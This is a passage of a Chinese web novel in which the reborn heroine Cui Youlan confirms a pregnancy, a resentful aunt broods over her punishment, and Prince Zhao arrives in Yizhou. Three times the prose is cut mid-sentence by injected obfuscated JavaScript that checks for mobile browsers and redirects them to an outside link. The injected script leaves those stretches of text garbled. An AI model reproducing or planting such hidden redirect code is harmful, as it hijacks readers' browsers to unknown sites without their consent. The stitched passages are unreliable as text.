崔文和见俞氏不语,耳边又是蒋氏的哀泣,便只能心一横,给俞氏磕起头来,大有俞氏不答应便不停下的架势。 崔幼澜挑了挑眉,正往俞氏那边看去,便听见俞氏叹了一口气:“起来起来,哭天抢地又做什么?” 崔文和心下一喜,马上道:“大伯娘不原谅我们夫妇,我便不起来。” “这事原是要家法处置的,既然你求我,她又是你的妻子,你便替她领了十板子,还有十板子是你自己的,打完之后,你们二人去薛家赔礼道歉,再把那些东西还回去,从前的事就算了。”俞氏道。 这个惩罚也不算轻,但比蒋氏原先猜想的逐出家门要好得多,二人生怕俞氏改变主意,也不敢再耽搁,立刻谢了恩之后去领罚了,至于宋娘子则立刻被打发了出去。 人都走了之后,崔幼澜忍不住,便上前对俞氏道:“祖母,那户姓单的人家,又该怎么处置呢?” “单家就这么算了,”俞氏毫不拖泥带水地说道,“若要治单家,就必得去报官,我们不能私自动手,但这事一旦报了官,崔家难免要被牵连进去,这总归是不好听的,蒋氏再不好,也只能烂在肚里。左右没了蒋氏给他们撑腰,他们也翻不出什么风浪了,薛家不会再有事的。” 既然俞氏都这样说了,崔幼澜也只好暂时作罢,毕竟俞氏的决定也是忤逆不得的,且受蒋氏所苦的也不止薛家一家,一时半会儿要全都讨回来也是不可能的,往后再看看或许还能有转机。 崔幼澜和崔清月出去,两人往竹风阁回去,才进了院门,崔清月便缓了脚步,轻声对崔幼澜道:“七妹妹,蒋氏的事难道就这样算了,她做了那样伤天害理的事,祖母这回也太宽容了……” “六姐姐别急,”崔幼澜按住她的手,将她拉到廊下坐着,“祖母查她也不止这一件事,薛家说到底只是外人,对我们来说算不得伤筋动骨,还没到真要治她的时候。” 闻言,崔清月点点头,神色却略暗淡下来,道:“还是你知道的多,我总归是不如你的。” “姐姐只是不愿沾染这些俗务罢了,哪像我喜欢多管闲事,祖母上回还说了我呢!”崔幼澜冲着崔清月眨了眨眼睛,“姐姐且等着看蒋氏的下场罢!” 崔幼澜对崔清月说完,可心里却并没有真正松快下来,她总有一种预感,蒋氏此人并没有那么容易束手就擒,或许后面还有更大的波澜在等着她们。 17. 噩梦 “这下手也太狠了!” 幽微的烛光下,蒋氏愤愤地给崔文和涂着伤药。 崔文和挨了二十板子,已经是起不来身了,连回来也是被抬回来的。 “你说得小声些,小声些,”崔文和重重叹了一声,“这已经算是不错了,我挨了二十板子,其实也并没有下重手。老夫人的脾气,崔家上下谁不知道,偏偏你还敢在太岁头上动土,真是不知死活。” 蒋氏下手一重,崔文和又痛呼起来,她道:“我是为了谁?这老不死的这回回来,不是查这个就是查那个,还卖了不少产业,用不了几天就要把我们丢开了!我再不趁机多捞点,以后真的去喝西北风?” 崔文和咬牙:“你就算了吧,咱们这些年拿的也够了,何必呢?” “怎么算了?”蒋氏闻言忽然抽泣起来,“我给她的都是假账,另有一本账我自己拿着,她前几日忽然说要卖了那些不赚钱的,我便赶紧把那几处账上的钱提了出来,但她好像察觉了不对劲,已经找我去问过几回话,都被我搪塞过去了,谁知道她到底有没有信?” “你……唉!”崔文和一时也不知道该怎么说,想说她几句,可这些年的好处自己也不是没受着。 蒋氏把手上的伤药放下,俯身贴到崔文和耳边,轻声道:“你说,那个老不死的要是真的没了,那该多好!” 崔文和不由打了个寒颤,连忙半撑起身子:“你胡说什么!” “你急什么?又不是你亲娘!”蒋氏哼了一声,“我说说怎么了,她治得我们那么惨,你还被打成这样,就不准我说了?” 蒋氏抱怨完,到底也不在崔文和面前说这些了。 只是她一边继续给崔文和涂药,一边却也没停下妄念。 俞氏这次来只带了两个小的,并没有带能帮她打理事务的儿媳辈,所有事情也都由她一手抓着。 蒋氏自然也明白几分俞氏的意思,看来是真狠下心要治她,绝了她通融的心思。 但……俞氏年纪已经大了,一个人在宜州,出点什么事只怕也没人知道,虽说她还带着许多仆婢,但那些毕竟只是下人,有的事情是顾及不到的。 蒋氏竟暗自盘算起来,一时觉得行,一时又觉得不行,这平白无故的,俞氏有个三长两短,总归自己也洗不干净。 但若是就这么下去,这才只是个开头,俞氏肯定不会放过自己,薛家的事是小事,账上的事才是大事,她又不是俞氏的亲儿媳,早隔了那么多房了,真狠起来怕是要送她去见官,今日已然吐了那么多银钱了,再继续吐出来,这比杀了她还难受。 还有崔幼澜和崔清月,大的那个是木人人,许多事情或许不清楚,小的那个比俞氏还可恶,薛家一事一开始就是她挑起的,从始至终都是她在弄鬼,她为人机敏,知道的又多恐怕也不能放过。 灯花忽然爆出一声极大的响声,蒋氏一下子被惊得回过神,身子抖了一下。 她在想什么? 怎么可能杀了俞氏又杀了崔幼澜呢?这简直是在白日做梦! 只是若能寻到一个契机的话…… 蒋氏的心忽然跳得厉害起来,她努力使自己看起来无事,继续给崔文和上起药来。 她在这里经营多年,虽然宋娘子被除掉了,但宅子里听她话的人还不少,这几日她夫妇二人受了罚没脸出去,便让这些眼睛帮她盯着那一老一小才好。 只听得窗外不知何时下起雨来,淅淅沥沥的,不觉使人更加烦闷。 *** 明明在宜州小住的日子并不久,但竟意外事多,便也有了额一种时间推着人走的无奈之感,飞落下来的雨丝将原本还是浅浅绿色的树荫洗刷得渐渐深弄起来,更是光阴如梭。 前几日蒋氏和崔文和夫妇受了好一顿责罚,又因着崔文和受了些小伤,蒋氏失了颜面又要照顾崔文和,所以二人也不出来,一时崔家老宅便更安静下来。 崔幼澜和崔清月知道俞氏这几日也有要紧事要做,蒋氏的事不可能就这么查到一半算了,便也不往萱茂堂过去打扰俞氏,闲暇时便搬了躺椅到檐下,倒也闲适安宁。 正是快要到春深的时候,微风暖得恰到好处,又不会太闷热,春雨也不很大,更淋不到檐下,不会湿了裙裾,又如酥油一般将各处都染得油光水滑。 崔幼澜看着院子里摆放着的各色花草,摇曳在和风细雨中,一朵朵都含苞待放,更觉可爱非常。 蒋氏到底还没有放弃挣扎,虽说人一时没出来,但早就派人去城中花房采买了许多应季鲜花来,今日一早崔幼澜她们起身,便已经看见摆满了一院子,虽然蒋氏为人实在可恶,但也不必迁怒到她送的花上头来,崔清月见了也是喜爱得紧,于是姐妹俩就没把花退回去,否则也显得太小家子气。 崔幼澜正和崔清月猜着近旁一株花开花后的颜色,裁冰便端了一盅红枣桂圆炖燕窝过来,又盛出一碗给崔幼澜。 裁冰道:“娘子这个月的葵水还没来,许是这些日子身子亏了,多用些补品补一补才是。” 崔幼澜从裁冰手上接过燕窝,倒是沉默半晌没有说话,只听崔清月一脸忧心道:“女儿家最要保养,特别是这一事上,别看我们如今还年轻,我听我母亲说,等年纪大了再要治可就迟了。” 裁冰也跟着点了点头。 “哪有姐姐说的这么严重,”崔幼澜道,“只不过是这个月来了宜州,许是有点水土不服,这才葵水不调的,再等一等也罢了。” “也不知宜州有好大夫没有,若有便去寻一个来瞧瞧,开几贴药来吃。”崔清月看着崔幼澜喝完那一碗燕窝,说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299194|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔幼澜自然知道自己是怎么回事。 恍惚之间好像还是上辈子,其实第一个月的时候她的葵水也没来,但因为裁冰她们都被打发走了,新来的仆婢们不甚清楚她的事情,所以被她糊弄过去了。 崔幼澜记得真真切切的,是自己当时慌乱,她已对自己身体的变化有所猜测,但还是存着侥幸,或许只是心绪不宁才导致的,明明已经快怕死了,却一点不能表现出来,又因着那事只好成日窝在房里。 然后整夜整夜地做噩梦,梦见肚子忽然大了,梦见被赶出了崔家,梦见自己嫁给了徐述寒。 又过了将近一个月,葵水还是没有来,婢子们也终是觉出了不对,连忙报给了郑氏知道,郑氏先偷偷请了大夫进来,得到的结果对于所有人来说无异于晴天霹雳。 母亲郑氏扯着崔幼澜哭晕过去了好几次,没一会儿崔幼澜的父亲崔文垚也赶来了。 他对崔幼澜劈头盖脸就是一顿臭骂:“你这个不要脸的东西,那姓徐的连问都没有来过问一句,你现在难道是要我求到徐家去吗?你让我的老脸往哪儿放!” 郑氏又扑过来跪到崔文垚面前:“别说了,七娘是不争气,可为今之计也只有去求徐家啊!只要徐家肯娶她,一切就都好说!那徐家又算什么,不过是一家子破落户,崔家是皇后娘娘母家,徐述寒敢不娶我们七娘?” 一听到徐述寒这三个字,崔幼澜的耳边便嗡嗡作响,她痛苦地捂上耳朵,不想去听他们说的话,可那些只言片语却不断往她耳朵里钻,又像小虫子一般将她的心钻得千疮百孔。 如今回忆起来,还是那般难受。 她记得她当时抬手就开始捶肚子,却被郑氏拦住,郑氏到底还是心疼她的。 很快各房的长辈也都闻讯而来,那一晚上崔家一直是灯火通明的,都在商议她的事情。 终于,崔幼澜的噩梦一一应验了,甚至还多了许多她没有想过的噩梦。 好在如今,这些噩梦虽有些正在进行中,但却来得及去改变。 崔幼澜收回心神,对崔清月笑了笑:“无妨,我自己清楚。” 她原先还想着,这一世或许有所改变也说不定,知道被她生下来之后受苦,孩子说不定就不会投胎到她肚子里了,若平哥儿真的不来也好,可如今只怕还是按照原定的轨迹来了。 崔清月惯不会强迫他人,崔幼澜这么说,她也就不劝了。 只是崔幼澜的话音才落下,就听见有人急急敲竹风阁的院门,开了门后只见是王妈妈。 王妈妈一向陪着俞氏占多,也是养尊处优的,上辈子俞氏死后立刻殉了主,等闲也很难见到她出来跑腿,崔幼澜忽然见到她急匆匆走过来,后背便是一凛,一下子坐直了身子。 难道,是祖母出了什么事? 18. 昭王 等王妈妈到了跟前,神色却已稍缓,但崔幼澜没有注意,只是连忙问道:“王妈妈何事?可是祖母有什么事?” “娘子误会了,倒不是老夫人,嗨,这也怪我太急了。”王妈妈坐到裁冰搬来的凳子上,继续说道,“今日一早才传来的消息,说是昭王途径宜州,听说老夫人也在宜州,便要前来拜访。” “昭王?”崔幼澜倒是愣了愣。 她前世今生都从没关注过这个人,甚至很少听到关于他的事,只知道昭王名叫周从嘉,是旁支宗室,只是幼时父母双亡,圣上知道后怜其孤弱,便将他接入宫抚养,前些年已搬到宫外开府。 见崔幼澜难得的愣怔,崔清月思忖片刻后便道:“听说昭王从宫里出来后,一年里倒有半年在外游山玩水,如今怕是刚巧游历到了宜州。” 王妈妈点头:“正是六娘子说的这样,虽说昭王是闲散宗室,但也不好怠慢了,况且也是他尊重娘娘,尊重老夫人,这才要来崔家,所以老夫人已经紧着让族中德高望重的族老们去迎接了,只是昭王派人来说他不愿公开身份,崔家自己清楚便可,其他不好太大张旗鼓了。老夫人让两位娘子今日就待在竹风阁中,不要出去走动了,免得见到昭王冲撞了,且那毕竟也是外男,总有不便的。” 崔幼澜和崔清月当即便应下,王妈妈走了之后,便让人关紧了院门,也不让裁冰她们出入了。 一时二人也坐得厌倦了,便都各自散了。 崔幼澜回到房里,觉得身上有些累,便往床上去躺了。 裁冰点上安神香,又给她放下床帐,自己便去了临窗的软塌上坐下,安安静静地开始做女红。 崔幼澜翻了个身,脑子里还在想着方才王妈妈说的事。 昭王途经此地倒也并不是什么大事,既然他要来崔家,那么崔家原该接待的,如今还嫌仓促了。 只是…… 崔幼澜心下总有些忐忑不安,上辈子的时候好像并没有听说昭王来了宜州,并且到访崔宅,那么为何这辈子他却忽然出现了呢?照理说,她因为重生所做的一些事情,与昭王该是毫不相干才是,怎么可能致使昭王的行为也发生了改变呢? 难道是徐述寒的缘故? 然而她又不能很确定,毕竟上辈子这会儿她正独自惴惴不安着,一时之间疏忽了什么消息也是正常的。 她把锦被往上拉了拉,又转了一回身子,出神地望着青绿色的帐顶,看着上面的卷草纹,心里也像是丝线一般,一缠又一缠地绕不清楚。 细细想来,从重生开始的一切几乎都是由她主动去改变引导,她就像一只勤劳的鸟雀,默默地修补着自己破损的巢穴,虽然动作很缓慢,也很艰难,但她还是坚持不懈地一点一点做着,以期待其可以应对未来的风雨,庇护她身边重要的人。 可昭王的出现,却直白地告诉了她一件事,她只是躲在自己的小天地里,外面还发生着许多的事,存在着许许多多她始料未及的变数。 这些变数或是上辈子就有的,但是她没察觉过,或是这辈子才发生的,一旦与她有了交集,她便需要去应对。 她害怕这种变数。 崔幼澜轻轻叹了一口气,只能希望昭王上辈子也来过宜州,只不过是她没心思关注罢了。 “娘子,怎么了?”那边裁冰听见她叹气的声音,连忙起身,走到帐外询问道,“是不是哪里不舒服?” 崔幼澜也觉自己睡不下去了,便道:“我无事,凝碧回来了没有?若她回来了,便叫她来见我,我有话要跟她说。” 凝碧直到快到傍晚时才回来,崔幼澜屏退了周围的人,只留了凝碧一个人说话。 凝碧自然知道崔幼澜要问什么,她这几日一直在外,也正是因为有崔幼澜的吩咐。 她向来是最聪敏的一个,没等崔幼澜开口,便轻声同她道:“娘子,你让我盯的那个人还没走。” 闻言,崔幼澜倒是没说什么话,神色也未见有多少变化。 她已经料到了这个结果,徐述寒没有走,而是继续留在宜州。 可是虽然她早已猜到,却怎么都无法理解。 按着她所想,即便徐述寒也跟她一样是重生的,其实也并不会影响什么,而他跟着到了宜州之后,也从她这里拿到了想要的答案,原该更放心离开才是。 迟迟不走,又是何意? 他被卸去两个包袱,该狠狠松一口气,然后立刻回盛都才是,而不是像眼下一眼反倒租了个院子住下。 纤若削葱的手指轻轻在案上敲击了两下,崔幼澜半晌后问道:“他时常出来吗?” “倒也没有,”凝碧道,“只有两个长随出来,一个多露面些,一个也不怎么看见。” 崔幼澜一听便知道一个是永丰,一个是永年,徐述寒无论去哪里,少得了谁都少不了这两个随从,据说永丰和永年还是先头大夫人还在的时候就拨给他的人,从小陪着他玩到大的。 她上辈子就想不通,事情是两个人一起做的,凭什么最后她的裁冰她们就被发卖了,而徐述寒的永丰永年一直毫发无损地活蹦乱跳,好不公平。 “继续去盯着,每日去看个一两次便罢了。”崔幼澜吩咐道。 她派凝碧盯着徐述寒,徐述寒也一定暗中派永丰盯着崔宅,谁也别说谁。 她一边说话,一边在心里也算了算,至多再不过两个月,徐述寒是一定要走的。 那个时候他们新婚才不过两三日,徐述寒便暗中被圣上派往江南查一桩案子,既是密令,崔幼澜又并非是徐述寒亲近之人,所以一开始崔幼澜并不知道徐述寒离开是做什么去了,也是一直等案件水落石出,大白于天下之后,崔幼澜才得知的。 当然,崔幼澜不可能轻易便原谅徐述寒的离去,圣上的密令也并不能说明徐述寒自己是不想走的,约莫正好是一举两得了,正好帮他避开她。 当时的她刚嫁入徐家有多艰难,也只有她自己才知道,徐家那些人可不是好相与的,不仅是背地里议论,甚至当面冷嘲热讽她新婚燕尔便被夫君抛弃,这些她全部都没有忘记过。 所以等再过两个月,圣上的旨意一下来,就算徐述寒不想走,那也是必须要走的。 这对于她来说总算是个好消息,崔幼澜顿觉有几分纾解,便又对凝碧道:“你再去城里寻个好些的大夫,过些时日我有用。” 凝碧虽不明所以,但既然是崔幼澜说的,便也立刻答应下来。 夕阳从花窗外斜斜照射进来,落在地砖上映出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299195|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斑驳的影子,不知不觉已经到了用饭的时候了,崔幼澜刚要与凝碧一同出去,门外却传来了崔清月的声音。 “七妹妹睡醒了吗?”崔清月道,“萱茂堂那里有要紧话递过来。” 还没等门口的裁冰回话,崔幼澜便上前去开了门,崔清月可见是真急了,见了她出来便立刻说道:“七妹妹,昭王在崔家要小住几日,祖母让我们多注意着些。” “什么?”崔幼澜也吓了一跳,又思及先前所想之事,一颗心便愈发往下沉。 昭王不仅出现在宜州崔家,现在还要住一段时日了,若真是个变数,那这变数也太大了。 “祖母说,原先想让我们这几日都不要出门,可一日两日还好说,眼下也不知他到底要住多久,又不能赶他。”崔清月小声说了后面一句,又继续道,“不过这宜州城里确实是崔家的宅子最大最气派,昭王选择在咱们家下榻也无可厚非。” 崔幼澜叹气:“那平日里也只能我们自己多加小心,尽量不要遇着他。” 崔清月点点头,道:“幸好崔家祖宅大,祖母已将昭王安排在东边的惠畅阁,和咱们这里一东一西,还隔着一个园子以及其他院落,他周围又还有崔氏族中郎君们作陪,倒也不会有什么事,总归昭王向来名声很好,咱们也无须过多担心。” 一时外间摆好了饭,姐妹俩携手过去坐了,用到一半,俞氏那里又赏了两道菜过来,一道是崔幼澜爱吃的小天酥,一道是崔清月爱吃的汤浴绣丸。 小天酥加了牛乳熬制,里头的肉糜已经熬得烂烂的,崔幼澜素日最爱这道菜,家中每每得了鹿肉,便必要给她添上小天酥的。 但今日许是心事有些重,她喝了几口便不喝了,再看旁边的崔清月,明显也是胃口不佳,到底是未出阁的女儿家,忽然家中住进一个外男,恐怕也是内心怯怯的。 只能盼望昭王住在这里的这段时日无事发生,且他玩够了之后能赶紧离开。 *** 夜深雨急,橘黄的烛影从半开的窗棂中透出来,将连绵的雨丝照成金针一般。 永年又过来为徐述寒重续了一枚安神香,看着炉中香灰余烬,他想了想还是对徐述寒道:“郎君,该就寝了。” 徐述寒已在案前坐了有一会儿了,什么都没有做,只是养神一般。 听见永年的话,他淡淡转过眼应了一声,可却丝毫没有要起身的意思。 毕竟徐述寒尚且年轻力强,不过就是一夜迟眠也未见得就损伤了根本了,永年见好就收,不再去劝,上一刻才续完香,下一刻便为徐述寒倒了一杯酽茶。 徐述寒抿了一口,终于对永年开口道:“你明日往盛都去信,就说我途中重病,一时不能回盛都。” “好端端的,郎君何必要咒自己呢?”永年道,“圣上已经派人来催了几次,让郎君玩够了便回去,虽说圣上宽宥,也看重郎君,可终究那是圣上,再说家里也已经闹成一团了,郎君总要回去看一看。” “不急。”徐述寒垂眸,神色淡然地看着茶盏中热气氤氲盘旋而上。 他原本就没想过近期要回盛都,即便不来宜州,也是要去其他地方避一避的。 更何况眼下宜州还忽然来了一位不速之客,昭王周从嘉。 19. 有孕 外头淅淅沥沥的雨声,将徐述寒的思绪渐渐拉远,前世之事再回忆起来,竟已经如同隔了一层纱一般,在他面前看不真切,可即便是看不真切,他又能知道薄纱之后究竟在发生着什么。 上辈子他新婚之后便当即离开盛都,前往江南查案,而在此之前,此案已经拖延了甚久,一切皆因吏部尚书被一家伎刺杀身亡而起。 朝中亦对此事讳莫如深,对外只称吏部尚书是在家中暴毙身亡,此事交由刑部去办,然而圣上却不能放心,便暗中又令徐述寒细查。 刑部原本打算以家伎与情郎私奔为由草草了结此案,可徐述寒却发现事实并非如此,那家伎根本就没有什么情郎,如今定罪的所谓情郎只是随便从牢里拉来的犯人,她又在杀了吏部尚书之后没有当即自尽,下狱后口口声声喊冤,并且生生承受下诸多刑罚,不像是受人指使,倒像是出于自己本意。 徐述寒悄悄暗审了那个家伎,竟得知她原是江南某地富庶之家出身,一日上街之时被人迷晕带到了其他地方,而那个地方还有许多和她一样是被绑来的女子,她们被关起来当成瘦马养了三年,三年里面有不肯听话低头的都被打死了,还有一些则被折磨得失去了原本的心志,只有她假装被驯服咬着牙撑了下来,并且被送到了盛都,成为吏部尚书的家伎。 她知道机会成熟,拼着一死趁夜里吏部尚书熟睡杀了他,原想借此事为自己的经历伸冤,能有人帮她查个明白,没想到却被刑部糊弄过去。 徐述寒便由她所说的线索在盛都中寻访,发现与那家伎同期也有一些女子被送进了某些达官显贵家中,可见其所言非虚。 眼看此事或许牵扯甚多,徐述寒便当即禀报给圣上,圣上便派他暗中去往江南,查出背后之人。 徐述寒到了江南之后,一时之间也没有头绪,足足用了将近半年之久,才终于把这条线摸清楚,江南地区有官员命人牙子专门找一些样貌出挑的少女来调/教,然后进献给长官们。 徐述寒那时年轻气盛,又有着皇帝的敕令,一面使人上报到盛都,一面从上到下捋了个干净,甚为狠厉,行事丝毫不留余地,亦不给通融的机会,只可惜也正是由于年轻气盛,难免有了自己都没有察觉的疏漏,致使多年后旧案重翻,自己陷入绝境。 茶盏在骨节分明的手指间被轻轻转了两圈,徐述寒的神色黯淡下去。 昭王为人清正,又向来不沾俗务,在种种证据面前,连他也站出来恳请皇帝严惩徐述寒,治徐述寒在江南旧案中收取贿赂又草菅人命之罪,最终徐述寒被下狱,惨死狱中。 虽然徐述寒也认为昭王也是被当时的一些说辞所迷惑,急于肃清朝野,但昭王算是给予了他致命一击,徐述寒怎么都不可能完全释怀。 眼下面对昭王,避而不见即可,但盛都已经渐起波澜的浑水,徐述寒还是决定先不要去趟为妙,圣上没了他,总还有其他可用之人,或许还能把江南一案查得更清楚。 他收敛回心绪,又问永年:“家里如今怎样了?” “还在到处找郎君,其他倒没什么,还是老样子。”永年答道,“沈家暂且也没其他动作。” 沈家自然不会有什么动作,因为一时也咬不准到底要不要继续这门亲事,再加上徐家已经去安抚过,那么沈家再等等也无妨。 这也正是徐述寒的本意,亲事是一定要在走前退的,但是却不能太干脆,而是要先吊着沈家,否则沈家便会立刻转头把沈雪音嫁给他人,经过上辈子,徐述寒知道那并非良人,他不能眼睁睁看着沈雪音再入火坑。 即便上辈子杀死崔幼澜的凶手是沈雪音的乳母,可他对沈雪音终究还是有愧的,不忍她两辈子都所嫁非人。 至于沈雪音的亲事,也确实是件令人头疼的事,只能等过几月回盛都之后再说了。 徐述寒按了按额角,又继续问永年:“姨娘好吗?” 永丰迟疑了片刻,道:“还是老样子。” 徐述寒一时没有说话,眸色愈发沉起来,许久后成才点点头:“老样子就好。” 此番离开盛都,唯有二人令徐述寒放心不下,一个是沈雪音,一个就是亲生母亲金氏。 徐述寒自幼便被抱到大房里由先大夫人养着,其实从记事开始并不知道自己的生母是谁,对于自己被抱养过继一事也是懵懵懂懂,先大夫人完全将徐述寒当做自己的孩子,可时间一久,再加上后来先大夫人亡故,家里也就不对徐述寒的身世讳莫如深了。 他又渐渐懂事,自然也很快知道了真相。 那时三房的妾室金氏先于三夫人李氏产下庶长子,也就是徐述寒,虽然后来三夫人也很快生下了嫡子,但还是将金氏母子视为眼中钉,正巧长房为无嗣所苦只好过继,徐家子嗣向来单薄,此时也只有三房得了二子,可李氏舍不得自己襁褓中的亲子,大房又不喜李氏为人精明刻薄,恐今后家业落到她手上,便索性过继了长子徐述寒。 虽说后来知道了金氏是自己生母,可徐述寒也终归不会去和她亲近,仍旧是像从前一样过着。只是前世崔幼澜嫁到徐家之后没多久,金氏却忽然染病身亡,那毕竟是徐述寒的生母,他探查一番之后竟得知他不在家中时,崔幼澜因看不上金氏,或者气他新婚便离开,让她没脸,便在金氏面前说了许多难听的话,金氏在家中本就颇受冷待,又加上崔幼澜的刺激,很快便郁郁而终。 徐述寒本想直接质问崔幼澜,但当时崔幼澜有孕在身,后来又早产生下平哥儿,他也不忍再苛责,此事便一拖再拖,拖到后面成了陈年旧事,也没有旧事重提的必要了。 但金氏终归是他的母亲,就那样不清不楚地死了,也是徐述寒的悔恨。 眼下虽一切都还未开始,徐述寒还是对金氏甚为挂心,不敢再重蹈覆辙。 徐述寒重重叹了一口气,终于起身往内室走去安歇了。 *** 接连五六日都是阴雨不断,一日晨起,窗外阳光和暖,才知已到春末。 早起洗漱后,裁冰便又端上炖品,她脸上忧愁更重:“娘子的葵水还是没来。” 崔幼澜这几日也觉身子越发疲乏起来,瞒着外面尚有两三个月可以瞒,但是裁冰她们面前却是很难再瞒。 “今日天气不错,我要出去一趟看大夫。”崔幼澜不动声色道,她还是要去确认一下自己到底有没有像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299196|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上辈子一样怀孕,或许有变数也不一定。 “把人请来不就行了,”裁冰大为奇怪,“哪有让娘子自己跑出去的道理?” 若是把大夫请来,便少不得要惊动俞氏等人,崔幼澜摇头道:“我顺便出去逛逛,这次要看病便不叫姐姐了。” 因先前俞氏也允许她们姐妹出门,所以裁冰没再说什么。 凝碧早就给崔幼澜找好了大夫,看诊的地方也放在了医馆较为隐蔽的内间。 裁冰先与大夫说了崔幼澜葵水不至的事,大夫便开始为崔幼澜诊脉。 中途他又朝崔幼澜看了两眼,只见她的面容在帷帽后看不清晰,只是打扮似乎却是少女,大夫斟酌许久后才终于说道:“恭喜夫人,夫人是有喜了。” 满室皆静,裁冰最先反应过来,斥道:“你这庸医胡说什么!” 大夫料到她们会是这个反应,马上便说道:“你们若不信便去其他再看看吧。” 裁冰气得脸都红了,刚要拉崔幼澜,却听崔幼澜道:“我是有孕了。” 裁冰和凝碧愣住,晴天霹雳一般什么话都说不出来。 大夫见状便问道:“夫人是留还是不留?不留的话便开了药去吃,只是若要保证打下来便要下猛药,一旦出事我这里概不负责。” 崔幼澜挑了挑眉,她自然知道有这种药,然而这种药都是虎狼药,用了之后极为伤身,出事的也不在少数,否则大夫也不会提前撇清关系,她甚至上辈子也想过要喝这种药,但郑氏先不肯,怕她把小命交代进去。 “不用。”崔幼澜只道。 她一面说着,一面递了银钱过去给大夫,又说:“麻烦大夫了。” 大夫会意,默默收了那些比平日看诊要多出数倍的钱,想了想又很快开了药,很有眼力见地先出去让人抓药,裁冰已经支持不住,若没有凝碧扶着恐怕早就栽倒在地,凝碧虽说好点,但也是一张小脸煞白。 然而这是在外面,她们又不好问崔幼澜,崔幼澜到底心疼她们跟着自己担心受怕,只好轻声安慰道:“没事,我回去之后再和你们细说。” 裁冰和凝碧对视一眼,心下却越发害怕,等拿了药出去,两人步子都是虚浮的,反而是崔幼澜一个人稳稳当当走在她们前面大约快上一步的模样。 等走到医馆门口,二人整了整心绪,正要上前去崔幼澜身边,却见崔幼澜一下子停住,前面似乎有人将她的去路挡住,而裁冰本就紧张,差点踩到崔幼澜的脚后跟,还是凝碧反应快些,连忙上去将崔幼澜扶住,又下意识将她半边身子遮挡住。 凝碧还没来得及看清楚挡路之人,却已经清晰地听见耳畔传来崔幼澜的一丝冷笑。 凝碧心头突突直跳,霎时惊出了一身冷汗,而崔幼澜已经对来人斥道:“让开。” 隔着帷帽上那层薄薄的轻纱,崔幼澜看着面前的徐述寒,狠狠地咬了一下嘴里的嫩肉。 这几日她每日都要凝碧去徐述寒处看一看,自然是知道他还没走的,也预料到他多半也是让永丰过来盯着她,所以她今日特意是从崔宅的偏门处悄悄出来的,没想到他还是察觉到了。 不过她也不怕他。 20. 害怕 面对崔幼澜毫不留情面的呵责,徐述寒的面色也旋即沉了下来,但他还是一动不动。 “你来这里干什么?”他冷冷地看着崔幼澜,可惜并不能看清她的面容,甚至连她的眼神落在何处都无法捕捉到,只能凭空抓住虚无的一点,假做对视,以壮自己的声势。 崔幼澜自然不会乖乖回答,她自认为已经同面前的人再无什么话好说,只是牵了牵唇角,道:“与你无关。” 凝碧因最近被崔幼澜派出去盯着徐述寒,所以是略见过徐述寒几面的,此时心里不免已经有所猜想,但也不便说话,只小心翼翼地拉了拉崔幼澜的衣袖,而裁冰不比凝碧素来在外行走见识多,虽见着徐述寒有些面熟,但一时也想不起来,直怕得小声对崔幼澜道:“娘子,我们快点回去吧!” “你们拿着的是什么药?”徐述寒又问,目光终于从那层轻纱上的某一处,转移到了裁冰手上。 裁冰手上所拿的正是那大夫开出来的几贴药。 “姓徐的,我不想在大庭广众之下和你纠缠,你让开。”崔幼澜的指甲轻轻掐了一下自己的指腹,“若我未能按时回家,我祖母定然要派人来寻我的。” 两人见面便开始针锋相对,徐述寒的嘴上自然也不饶人,马上便冷笑道:“你祖母来找你,与我何干?” 不等崔幼澜再说话,他又道:“你不肯说也无妨,我一会儿便进去问,只要钱给足了,总能问出来的。” 这回徐述寒说完,倒是往旁边让了让,大有放崔幼澜离开的意思。 此时大街上人来人往,崔幼澜也不想继续站在这里,她带着裁冰和凝碧往前走到一处稍稍背人僻静处,果然见到徐述寒又向她们走过来。 裁冰已经怕得不行,这会儿不仅是凝碧早就已经猜到了,便是她也联想到了,也想起了徐述寒是那日崔清月不见时出现的男子,于是只被凝碧拉着又往后退了几步,把地方给他们空出来。 “你到底买了什么东西?”徐述寒又逼问道。 崔幼澜眼见确实是躲不过,只要出来便会被他找到,便道:“落胎药。” 虽在意料之中,徐述寒的心还是直直往下沉下去,他急于开口,牙齿便重重咬了住了舌边,顿时沁出血腥味:“你就这么不想再要他?” “我那日早就说了,这样做对我对他都好,”崔幼澜揭开帷帽上的薄纱,目光沉静,“只不过上次没有成功,如今才一个月,我要早做决断。” “打胎会死人的。”徐述寒向她走近一步,可同时崔幼澜也后退一步,始终与他保持着不远不近的距离,一点都不想亲近。 